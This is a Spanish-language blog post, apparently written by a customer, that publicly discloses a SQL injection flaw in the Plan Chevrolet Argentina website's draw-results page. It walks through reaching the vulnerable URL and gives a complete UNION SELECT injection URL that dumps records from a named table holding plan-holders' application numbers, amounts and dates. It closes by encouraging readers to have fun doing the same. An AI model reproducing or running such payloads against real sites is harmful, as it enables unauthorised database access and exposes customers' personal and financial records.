Plan Chrevrolet y su WEB Site

Hola a todos... hoy le toca el turno a el site www.planchevrolet.com.ar, lo publico porque segun dicen lo van a reemplazar por otro que brindara mucha mas informacion que el actual, en realidad lo dudo este ya brinda demasiada...

Todos aquellos que entramos todos los meses a ver si salimos sortenados ya conocemos este sitio, para auqellos que lo desconozcan, este sitio brinda informacion de los planes de Chevrolet S.A. (licitaciones + sorteos) de los distintos planes.

Ahora bien, que tiene de malo el sitio, es que es un completo desastre, ya sea en diseño, como de seguridad.

En la ventana donde se consultan los actos de adjudicacion, nos aparece lo siguiente:

El boton "Consultar Acto" nos lleva a otra pantalla, donde ponemos el grupo y algun que otro dato y luego vamos a una pantalla donde comienza lo interesante, esta pantalla nos muestra quien a salido sorteado y/o ganado en el grupo, pero, lo interesante es que no nos deja modificar la url, esto no es problema copiamos la url, y la pegamos en una nueva ventana, es algo como esto:

http://www.planchevrolet.com.ar/newsite2/resul_actos.asp?cmbacto=152&txt...

Alli podemos injectar sql, por ejemplo ver las tablas que contiene la DB, o los campos de las mismas, personalmente me intereso una que tienia la siguiente informacion:

Que son estos numeros??? bien, para auqellos que sean SQL aca va la inyección...

http://www.planchevrolet.com.ar/newsite2/resul_actos.asp?cmbacto=152&txtgrupo=-1%27%20union%20select%20top%2010%201,2,%20%20(grupo%20*%2010000%20)%20+%20orden,%20Solicitud,importe,fechaAlta,7,8%20FROM%20Cuota95Log%20order%20by%206%20desc--

Realmente espero que mejoren el site....

que te diviertas tanto como yo....